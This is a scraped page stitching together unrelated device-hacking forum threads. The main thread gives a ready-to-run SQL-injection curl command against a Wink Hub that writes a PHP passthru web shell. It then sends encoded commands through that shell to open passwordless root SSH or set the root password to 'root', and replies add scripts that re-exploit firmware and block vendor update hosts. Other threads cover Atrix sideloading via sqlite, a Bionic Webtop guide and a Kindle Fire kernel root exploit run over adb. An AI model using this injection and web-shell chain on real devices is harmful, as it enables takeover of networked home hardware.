Database Develop

Wink Hub root - Off-topic

Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
First use a curl command to exploit a SQL injection vulnerability to create a php file used to execute shell commands on the hub:
Code:
curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']); ?>');--" http://192.168.0.1/dev_detail.php
Now you can supply shell commands to the exploit.php.
If you don't want to mess with ssh keys, now you can run this command to enable root login without using a password. My recommendation would be to immediately ssh in and use the passwd command to change the root password.
Code:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart%3Becho%20-e%20%22%5Cn%5Cn%22%20%7C%20passwd' http://192.168.0.1/exploit.php
For those who don't mind using ssh keys, or want to run other commands:
On the machine I want to copy my ssh key to root so I'd run something like this:
Code:
echo MySSH_PublicKey > /root/.ssh/authorizedkeys
It would be nice if you could just call:
Code:
curl -d cmd='echo MySSH_PublicKey > /root/.ssh/authorizedkeys'
But that won't generally work because of http issues. The key is to urlencode the cmd you want to run using a site like http://meyerweb.com/eric/tools/dencoder/
Just urlencode the bits between the single quotes, the php exploit won't work without the single quotes.
So after getting the urlencoded command I actually invoke:
Code:
curl -d cmd='echo%20MySSH_PublicKey%20%3E%20%2Froot%2F.ssh%2Fauthorizedkeys' http://192.168.0.1/exploit.php
Then you can happily ssh as root to the wink hub!
:victory:

FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
https://github.com/nashira/blink
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

This awesome. Thanks for the great work

Nice work. This will make things much easier.
Some people (people running Windows for instance) are having issues generating the ssh keys. As a suggestion, can we incorporate the below so that people can just login as root using a password? I believe this would make things even simplier.
Code:
#commands to allow root login using root as password
sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear restart
echo -e 'root\nroot' | passwd
I don't have enough post to provide the exact command, but it should be something like:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart' hxxp/ipaddress/exploit.php
curl -d cmd='echo%20-e%20%22root%5Cnroot%22%20%7C%20passwd' hxxp/ipaddress/exploit.php

FreeFly said:
Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
Click to expand...
Click to collapse
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.

berserko said:
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.
Click to expand...
Click to collapse
Here are the files that report the versions to the app.
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.33" > /database/cf_fver3

berserko said:
There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
Click to expand...
Click to collapse
Someone over at slickdeals did but doesn't look like there is anything happening over there yet. He's got some links but that is about it.
homeautomation proboards com/board/3/wink-hub
---------- Post added at 01:52 AM ---------- Previous post was at 01:16 AM ----------
FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?

nyvram1 said:
We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:

00.47 is out and this particular sql injection has been closed
00.47 is out and this particular sql injection has been closed

nyvram1 said:
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
I'm also interested in Nashira's project, but I'm looking to use his work to figure out how to send commands from a Raspberry Pi that will be the equivalent of pushing a light-on button on the Android app. Being able to issue commands to the wink by running a python script, for example, would open up the hub to be used in conjunction with lots of home automation platforms. I have a bunch of cheap Arduino sensors integrated with an open source home automation system that is much more flexible than Wink, so I'd just like to use the Wink hub for its radios.
It looks like you can do a HTTP post to mimic a button push, but that's something I'm not familiar with. If someone has any insights, I'd appreciate it.
---------- Post added at 05:21 AM ---------- Previous post was at 05:13 AM ----------
FreeFly said:
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:
Click to expand...
Click to collapse
Hey, that's what I'm interested in too. Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
qnology said:
00.47 is out and this particular sql injection has been closed
Click to expand...
Click to collapse
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.

automonkey said:
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?
Click to expand...
Click to collapse
Did you try the passwordless method?

electronichamsters said:
Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
Click to expand...
Click to collapse
Pretty easy. His API is https://github.com/nashira/blink/blob/master/server/api/commands/index.php It's really a wrapper for the aprontest command. Pretty easy to use python to send JSON messages to the commands/index.php. Play with aprontest by itself for a bit first and you'll understand how to use it to switch and dim the lights:
http://gtvhacker.com/index.php/Wink_Hub​​
Then you'll understand you just send a command (update) with the master id for the light you want to switch, and value id (1 for dim, 2 for on/off), and a corresponding value (1-255 for dim / ON or OFF) wrap it in JSON and send to command/index.php
I'm going to write some code to do this myself so I'll post some samples here when I do.

Really?? They already patched it?

electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
I guess yesterday. I upgraded a new out of box Win Hub using the iOS Wink App thinking that I would get 00.33. When I ran the curl command against dev_detail.php and received a 404, I checked my iOS Wink app and it showed that the Hub was on firmware 00.47.

FreeFly said:
Did you try the passwordless method?
Click to expand...
Click to collapse
Yes I got that to work via Rezurok's cmd.php, doing it via curl on windows in a command window wasn't giving me anything useful for feedback, whereas the cmd.php let me know it was pissy because it was too short. I've got it working now.

electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
---------- Post added at 02:38 PM ---------- Previous post was at 02:20 PM ----------
berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. The MD5sum for 33 is eec07feee1fa1a4a06e05a00af18156f
Click to expand...
Click to collapse
I found the update went live at:
2014-12-10T22:16:58.000Z
I assume Z means zulu so 5:16pm eastern?

Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Once it comes back in upgrade mode I ran the following:
Code:
cd /tmp
echo "127.0.0.1 localhost" > /etc/hosts
echo "127.0.0.1 flex-dvt" >> /etc/hosts
wget hXXp://wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi <--- Fix the URL forum is breaking it on me...
ubiformat /dev/mtd5 -f /tmp/app-rootfs.ubi
ubiattach -p /dev/mtd5
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater
sed -i 's/=-sg/=/' /tmp/updater/etc/default/dropbear
rm -f /tmp/updater/etc/init.d/S99local
cp /var/www/set_dev_value.php /tmp/updater/var/www
fw_setenv bootdelay 5
sed -i 's/bootdelay 0/bootdelay 5/' /database_default/u-boot.env
cp /etc/shadow /tmp/updater/etc
mkdir /tmp/updater/root/.ssh
cp /root/.ssh/authorized_keys /tmp/updater/root/.ssh/authorized_keys
echo "127.0.0.1 hub-api.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /tmp/updater/etc/hosts
sed -i 's/rm \/database\/wpa_supplicant.conf/echo WPA Fix #rm \/database\/wpa_supplicant.conf/' /tmp/updater/etc/init.d/S31platform
sed -i 's/#ttyAM0/ttyAM0/' /tmp/updater/etc/inittab
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.47" > /database/cf_fver3
echo "127.0.0.1 hub-api.winkapp.com" >> /etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /etc/hosts
echo "0" > /database/DO_UPDATE
reboot
Once the reboot completes the device will come back online as version 47 This worked fine for me but as always YMMV. The script keeps creates enough holes you should be able to get back in one way or another...

681
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
berserko said:
Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Click to expand...
Click to collapse

berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
Click to expand...
Click to collapse
I ran a MD5sum on the copy of app-rootfs.ubi that I downloaded from the the amazon aws link sometime on dec 10th. It is "eec07feee1fa1a4a06e05a00af18156f".
I have no idea if it's v0.33 or 0.47. If someone else has a file they're sure is 0.33, can they run a MD5sum on it?

If I rooted and never updated, so I have original firmware, can I use the method you described to go straight to 47?
Thanks
Jeff
qnology said:
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
Click to expand...
Click to collapse

Related

First of all, Linux and OS X come with sqlite3 by default. Windows users will need to download the executable. With that said, here is how you can enable sideloading the old-fashioned way.
Code:
[[email protected] ~]$ adb shell
$ su
# busybox cp /data/data/com.android.providers.settings/databases/settings.db /data/data/com.android.providers.settings/databases/settings.db.bak
# chown system.system /data/data/com.android.providers.settings/databases/settings.db
# ls -l /data/data/com.android.providers.settings/databases/settings.db*
# busybox cp /data/data/com.android.providers.settings/databases/settings.db /sdcard
# exit
$ exit
[[email protected] ~]$ adb pull /sdcard/settings.db
sqlite3 settings.db
sqlite> SELECT * FROM secure WHERE name="install_non_market_apps";
3|install_non_market_apps|0
sqlite> UPDATE secure SET value=1 WHERE name="install_non_market_apps";
sqlite> SELECT * FROM secure WHERE name="install_non_market_apps";
3|install_non_market_apps|1
sqlite> .quit
[[email protected] ~]$ adb push settings.db /sdcard/
[[email protected] ~]$ adb shell
$ su
# busybox cp /sdcard/settings.db /data/data/com.android.providers.settings/databases/settings.db
# chown system.system /data/data/com.android.providers.settings/databases/settings.db
# ls -l /data/data/com.android.providers.settings/databases/settings.db*
# exit
$ exit
[[email protected] ~]$ adb reboot
You should be all set.

thank god for super one click

Script?
Sent from my MB860 using XDA Premium App

lsxrx7 said:
thank god for super one click
Click to expand...
Click to collapse
1) Great if you use Wind'oh!s which I refuse to do.
2) I like to know how things work.

I think this work on only rooted devices. If that case we have one already which will root it and also side load apps.

You got the phone gdanko?! Cool
I'll do it this way for kicks when I get my phone lol

gdanko said:
1) Great if you use Wind'oh!s which I refuse to do.
2) I like to know how things work.
Click to expand...
Click to collapse
Yes, it's always great to know how things work.
But it looks like SuperOneClick is not just confined to Windows.
It is compatible with:
Windows Vista
Windows 7
Ubuntu Hardy (8.04 LTS)
Ubuntu Jaunty (9.04)
Ubuntu Karmic (9.10)
Ubuntu Lucid (10.04 LTS)
Ubuntu Maverick (10.10)
Debian Lenny (5.0)
Debian Squeeze (testing)
Debian Sid (unstable)
Debian Experimental

SuperOneClick uses Mono on Linux platforms, so most any of the modern ones should work. I used it on my openSUSE box and it worked just fine for allowing non-market installs.

Can anyone do this a little more nood friendly? And/or does this require root?

phro321 said:
Can anyone do this a little more nood friendly? And/or does this require root?
Click to expand...
Click to collapse
Yeah, you basically want to get out of this thread and head here:
http://forum.xda-developers.com/showthread.php?t=960336
Follow briefmobile's tutorial. And yes, it requires root.

If I am not mistaken gdanko doesnt use any of those operating systems. He uses a mac...
Maybe his old school ways will help uncover some mysterious portal into the Atrix that will allow cracking the bootloader...

I just finished running superoneclick. I wanted to double check that my phone is now allowing unknown sources, but i dont see the checkbox where it should be. Is this normal? Thanks!

__redfox__ said:
I just finished running superoneclick. I wanted to double check that my phone is now allowing unknown sources, but i dont see the checkbox where it should be. Is this normal? Thanks!
Click to expand...
Click to collapse
I guess the check box is not added, but superoneclick did do its job. The phone is communicating with the laptop as expected.

__redfox__ said:
I guess the check box is not added, but superoneclick did do its job. The phone is communicating with the laptop as expected.
Click to expand...
Click to collapse
Follow this to add the check box: http://forum.xda-developers.com/showthread.php?t=972760

agentdr8 said:
SuperOneClick uses Mono on Linux platforms, so most any of the modern ones should work. I used it on my openSUSE box and it worked just fine for allowing non-market installs.
Click to expand...
Click to collapse
Fails on Ubuntu 64. And installing mono and a host of other things for something so trivial is pointless.

Thank you, I needed this sideloading hack since I've already updated/rooted my phone and couldn't use Gladatrix or aRoot without having to reflash 1.26
------------
edit: Actually it got my phone stuck in bootloader with my configuration (1.57 update and rooted). SBF flashing now..

marlasinger said:
Thank you, I needed this sideloading hack since I've already updated/rooted my phone and couldn't use Gladatrix or aRoot without having to reflash 1.26
------------
edit: Actually it got my phone stuck in bootloader with my configuration (1.57 update and rooted). SBF flashing now..
Click to expand...
Click to collapse
Hey How did you root your 1.57?

Spoofy said:
Hey How did you root your 1.57?
Click to expand...
Click to collapse
Go to the GladRoot thread linked in my signature below. Please use the search function in the future.

Ririal said:
Go to the GladRoot thread linked in my signature below. Please use the search function in the future.
Click to expand...
Click to collapse
Lose the attitude buddy.
Don't tell me to search, as I have been googling and searching this forum for over a week and found nothing but SuperOneClick which also required me to downgrade.
I probably missed it due to "Last edited by Ririal; 23rd April 2011 at 01:40 AM. Reason: Updates"
Unfortunately this is still not what I am looking for as I am on 1.57 and am still required to downgrade.
Please have some respect.
EDIT: I'ts also not in the sticky thread
EDIT #2: I just found [HOWTO] Easy Root 1.5.7 using GingerBreak which popped up on the 23rd. WOHOOO, no need to downgrade and risk Wifi issues.

Spoofy said:
Lose the attitude buddy.
Don't tell me to search, as I have been googling and searching this forum for over a week and found nothing but SuperOneClick which also required me to downgrade.
I probably missed it due to "Last edited by Ririal; 23rd April 2011 at 01:40 AM. Reason: Updates"
Unfortunately this is still not what I am looking for as I am on 1.57 and am still required to downgrade.
Please have some respect.
EDIT: I'ts also not in the sticky thread
Click to expand...
Click to collapse
It has nothing to do with respect, and I don't have an attitude. Relax, guy.
All the information is readily available, all you need to do is look for it. There's several threads on the first page of the development forum (which you found as you're posting in it) that contain the information you need. One of the threads is even clearly labeled: "[HOWTO] Easy Root 1.5.7 using GingerBreak"
So sorry, I get a little short with people who ask questions that are already answered. Don't take it personally. Here's the breakdown:
There's currently 2 methods of root, one is GladRoot, which requires you to downgrade first. The other is GingerBreak, which formats your phone data. Pick your poison.

Hey there,
Here is a guide for what to do after you have installed Webtop2sd and moved the Webtop to the sdcard. This guide, using [mbm]'s patch, will install gnome-terminal along with a rebuilt DPKG-repo so that way you can run apt-get, synaptic or aptitude to download new software for your Webtop. Along with this guide there is a link to Fenny's HDMI hack for those who don't have the laptop dock or the HD Dock for the Bionic.
Bionic Webtop Over HDMI Hack
Prerequisites:
1) Rooted Bionic
2) Webtop Patch
3) ADB already configured
4) Patience
First things first, go ahead and download [mbm]'s patch for Webtop that enables apt-get, synaptic package manager and gnome-terminal services in Webtop and place that file on the root of your sdcard. Then follow these commands step by step to apply the patch.
adb shell
su
/bin/bash
-You will get some kind of error message, just ignore and push past it with the following commands
source /upath.sh
cd /osh
tar jxvf /mnt/sdcard-ext/mbm.tar.bz2
mount -o remount, rw /
mkdir /var/lib/dpkg/updates
reboot
Click to expand...
Click to collapse
After rebooting your phone, run these commands in adb:
su
mount -o remount, rw /
Click to expand...
Click to collapse
After booting into webtop:
Ctrl+Alt+T
sudo apt-get update
Click to expand...
Click to collapse
**take note that you must run the "mount -o remount, rw /" command anytime you reboot your phone because any programs you get thru apt-get or synaptic will error out during installation
After that is done, go ahead and rename the folder /etc/tomoyo to something else like /etc/toy or whatever you want (Note, webtop2sd already takes care of this part for the user). After that, go ahead and dock your phone to see what happens cause you will be presented with a normal looking Webtop but if you hold down ctrl+alt+t, then it brings up the terminal!
From here, you can run "gksu synaptic" and use the password "test" to start installing various different programs and packages that are normally available on Ubuntu.
Important!
If you mess up your Webtop partition in any kind of way and need to restore it back to stock, please download this custom FXZ and flash thru RSD to bring you back to stock again.
Webtop RSD Restore
Dependencies
Take caution when modding Webtop because there are some dependencies that will break Webtop if they are upgraded such as anything ending in a .mot or anything resembling that.
Credits
Please thank [mbm] for fixing what Motorola took out, without him, none of this would be possible without his patch.
Sogarth for being the pioneer of Webtop hacking and for porting over his Webtop2sd app to give us more storage to play with.
Fenny for bringing over his Webtop over HDMI hack to our phones.

Desktop Enviroment:
If you do not like the default LXDE and AWN setup that comes preloaded on Webtop, you do have the ability to change some settings in the phone to use different Desktop environments such XFCE, Gnome-Panel, FBPanel or etc, etc.
After installing your DE of choice thru apt-get or synaptic, navigate on your phone with Root File Explorer to /osh/usr/local/bin/ and open the file "start-oshwt-2.sh" in the text editor and you will be presented with something that looks like this:
#! /bin/sh
### BEGIN INIT INFO
# Provides: start_lxde2.sh
# Required-Start:
# Required-Stop:
# Default-Start:
# Default-Stop:
# Short-Description: started by adas user at login
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
. /lib/lsb/init-functions
export `fbcp_dsba`
log_action_msg "Will now start OSHWT 2 scripts"
sfalv -i "/usr/lib/gvfs/gvfs-gdu-volume-monitor"
# start OSHWT 2 scripts
sfalv -i "awn-autostart"
sfalv -i "webtop-panel"
#sfalv -i "webtop-wallpaper"
#sfalv -i "evbridge"
webtop-wallpaper &
evbridge &
sfalv -i "window_switcher"
system-config-printer-applet >/dev/null 2>/dev/null &
sr-test avahi_start &
# IKXWEBTOP-5690 workaround.
# xkb is broken in 10.10 in that each time a keyboard is connected
# the layout of all other keyboards become the layout of
# the last connected keyboard.
# There is an xorg.conf.d rule that forces all keyboards to
# layout 'us(android)' but for some reason it is not working for
# evfwd. Here we force xkb to work with 'us(android)' so evfwd
# is assigned the right layout.
setxkbmap 'us(android)'
Click to expand...
Click to collapse
From here, if you comment out the sfalv -i "awn-autostart", then add to the script sfalv -i "xfdesktop" and sfalv -i "xfce4-panel" if you installed xfce4 or whatever Desktop environment you installed. If you followed this, your script should look like this:
#! /bin/sh
### BEGIN INIT INFO
# Provides: start_lxde2.sh
# Required-Start:
# Required-Stop:
# Default-Start:
# Default-Stop:
# Short-Description: started by adas user at login
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
. /lib/lsb/init-functions
export `fbcp_dsba`
log_action_msg "Will now start OSHWT 2 scripts"
sfalv -i "/usr/lib/gvfs/gvfs-gdu-volume-monitor"
# start OSHWT 2 scripts
#sfalv -i "awn-autostart"
sfalv -i "webtop-panel"
sfalv -i "xfdesktop"
sfalv -i "xfce4-panel"
#sfalv -i "webtop-wallpaper"
#sfalv -i "evbridge"
webtop-wallpaper &
evbridge &
sfalv -i "window_switcher"
system-config-printer-applet >/dev/null 2>/dev/null &
sr-test avahi_start &
# IKXWEBTOP-5690 workaround.
# xkb is broken in 10.10 in that each time a keyboard is connected
# the layout of all other keyboards become the layout of
# the last connected keyboard.
# There is an xorg.conf.d rule that forces all keyboards to
# layout 'us(android)' but for some reason it is not working for
# evfwd. Here we force xkb to work with 'us(android)' so evfwd
# is assigned the right layout.
setxkbmap 'us(android)'
Click to expand...
Click to collapse
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Working Programs:
OpenOffice
XFCE4
Xchat
LxTerminal
Transmission
lxpanel
rdesktop
VLC Player (Video is choppy)
Gnome-Panel
Evolution Email
Chrome-Browser

Can we get some more info on this? What programs can I get to work?
Sent from my DROID BIONIC using XDA App

BerkleyJ said:
Can we get some more info on this? What programs can I get to work?
Sent from my DROID BIONIC using XDA App
Click to expand...
Click to collapse
You can check out the Atrix forums to see what others have installed but for me, I've install VLC Player and Xchat, both work very well but I am running out of space but that will be fixed with Webtop2sd app.

OMG! This is awesome!! Good work guys! I will redirect my chromium post to this one instead!

Awesome guys!
Sent from my DROID BIONIC using XDA Premium App

These commands for windows?
after /bin/bash
bash: groups: command not found
bash: lesspipe: command not found

frenetic said:
These commands for windows?
after /bin/bash
bash: groups: command not found
bash: lesspipe: command not found
Click to expand...
Click to collapse
Those are for within ADB shell
Sent from my DROID BIONIC using Tapatalk

tallnerd1985 said:
Those are for within ADB shell
Sent from my DROID BIONIC using Tapatalk
Click to expand...
Click to collapse
Not working correctly
I will probably feel stupid

Sent from my DROID BIONIC using XDA Premium App

frenetic said:
Not working correctly
I will probably feel stupid
View attachment 735522
Click to expand...
Click to collapse
I am getting the same error

runandhide05 said:
I am getting the same error
Click to expand...
Click to collapse
Same here This is getting frustrating, I couldn't get the Webtopchromium hack to work from v1r7u41 and now I can't get this to work. The Webtopchromium would at least install although it wouldn't launch. Any help would be greatly greatly appreciated as the standard lapdock is gimped to say the least.

So I'm using the webtop hack and loving it. When it first starts, it prompts you to select your display settings. Well, I picked some I don't like now, and I can't find the option for it again. Can anyone direct me in the right place?
Thanks.
Figured it out. Couldn't see the settings due to the display. Hovered over top right and got settings to show.
Sent from my DROID BIONIC using xda premium

Working great for me. I need to remount / everytime I want to use apt-get (dpkg). I think I got that error too. Run:
Code:
echo $SHELL
to make sure it is bash and just keep going.
@mistawolfe
Click on the settings cog wheel thing (upper right) then display settings (maybe display) resolution I can't remember I got rid of the webtop-panel.

Added some updates to the process of unlocking Webtop to the main page. Feel free to pm me any hacks or tricks that you have found past my guide or post them here if you feel like.
P.S.
If anybody care to make a flashable zip file for CWM to make this process easier, PM your link to the zip and I will post a mirror for it.

Could someone bring me up to speed? Are you using the on screen keyboard and mouse functionality or external mouse and keyboard. I can't get anything done with the onscreen controls. They don't work right. Softkeys don't work at all. Mouse jumps all over and keyboard pushes result in totally different keys being typed.

ok, followed instructions on the updated op, ignored and continued after getting these " /bin/bash
bash: groups: command not found
bash: lesspipe: command not found"
errors after "apt-get update" command i get 0% [connecting to ports.ubuntu.com] and thats it, just stays at 0%. so after 5-10 mins i unplug phone dock, and alt-ctrl-delete...get nothing...

I also followed the update. When i came to the apt-get update command i get a "not found" error....so i went on in webtop amd opened terminal->sudo synaptic. It started up fine, although i dont see any packages that arent already installed....so i was trying to find some repos, but when i try to add one the button is grayed out after i type the url...so will someone give me some advice on the missing apt-get...and a list of repos compatible with webtop? Sorry for beimg clueless..its been a while since ive used linux "other than android".

Reminon said:
I also followed the update. When i came to the apt-get update command i get a "not found" error....so i went on in webtop amd opened terminal->sudo synaptic. It started up fine, although i dont see any packages that arent already installed....so i was trying to find some repos, but when i try to add one the button is grayed out after i type the url...so will someone give me some advice on the missing apt-get...and a list of repos compatible with webtop? Sorry for beimg clueless..its been a while since ive used linux "other than android".
Click to expand...
Click to collapse
I got the same errors until I added the "Update" folder and followed the code that was added tonight. Try the code on the Update folder that was added today and see if that works for you too.

danegrclose said:
I got the same errors until I added the "Update" folder and followed the code that was added tonight. Try the code on the Update folder that was added today and see if that works for you too.
Click to expand...
Click to collapse
so i get that error when apt-get update in cmd, so i go to webtop and open terminal, type sudo...not found, synaptic...not found, what the heck am i doing wrong here?

Please do not donate to me for this, it is not my original work. If you want to donate, I suggest finding a way to donate to fi01 (not aware of a way or if he accepts them) or donating to a charity. It is the holiday times, maybe a toys for tots or something similar. I know a lot of ppl dislike the salvation army, and I can't stand up with some of the things they do, but their toy donation program is good and they do get the toys to kids who really have no other option, maybe drop off some new toys? May be food to a food bank?
Source: https://github.com/hiikezoe/android_run_root_shell
Vuln:
https://www.codeaurora.org/projects...hecks-putusergetuser-kernel-api-cve-2013-6282
Exploit Source:
https://github.com/fi01/libput_user_exploit
Beaups compiled it at my request for you guys.
adb push su /data/local/tmp/
adb push rootme.sh /data/local/tmp/
adb push exploit /data/local/tmp/
adb shell chmod 755 /data/local/tmp/rootme.sh
adb shell chmod 755 /data/local/tmp/exploit
adb shell /data/local/tmp/exploit -c "/data/local/tmp/rootme.sh"

Bomb! You are the man!
Bro, I am going to PM you shortly. I would like to thank you & fi01. I will donate to both of you, or if you both prefer, I will donate my original pledge of $150 for root in your names to whatever charity you think is appropriate. If this leads to an unlocked BL, I will double my donation, to the $300 I originally stated in the General/Kernel thread.
If you notice my signature, I have an issue I have become intimately involved in, so if there is something near & dear to your two hearts, just let me know.
PROOF OF ROOT:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

GSLEON3 said:
Bomb! You are the man!
Bro, I am going to PM you shortly. I would like to thank you & fi01. I will donate to both of you, or if you both prefer, I will donate my original pledge of $300 in your names to whatever charity you think is appropriate.
If you notice my signature, I have an issue I have become intimately involved in, so if there is something near & dear to your two hearts, just let me know.
PROOF OF ROOT:
Click to expand...
Click to collapse
Awesome! How did you flash it? Is there a stock recovery mode or did you have to use ADB? I'm not familiar with ADB at all, so I'm hoping for a simple way of flashing this. Did you have the Fire OS update installed when you rooted it?

Guess it does not work on 7" (fire os 3.1 updated, ver 13.3.1.0):
Device detected: KFTHWI (JDQ39)
Try to find address in memory...
Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x00008000 form iomem
Attempt fb_mem exploit...
Detected kernel physical address at 0x00008000 form iomem
You need to manage to get remap_pfn_range addresses.
Failed to get prepare_kernel_cred addresses.
Failed to get commit_creds addresses.
Failed to get ptmx_fops addresses.
KFTHWI (JDQ39) is not supported.
Failed to setup variables.
Have hopes it will be possible soon enough though

Maverick777 said:
Awesome! How did you flash it? Is there a stock recovery mode or did you have to use ADB? I'm not familiar with ADB at all, so I'm hoping for a simple way of flashing this.
Click to expand...
Click to collapse
I am going to tak as many questions as possible, but will probably do something in the Q&A section to keep this clean. Right now, this is a manual adb exploit, though if you have a rooted device & USB OTG, you can use root transmission. Currently, it is fairly easy & straight forward, but you will need adb to utilize this root method. jcase said we could package it into a one click, but that is going to take some time.
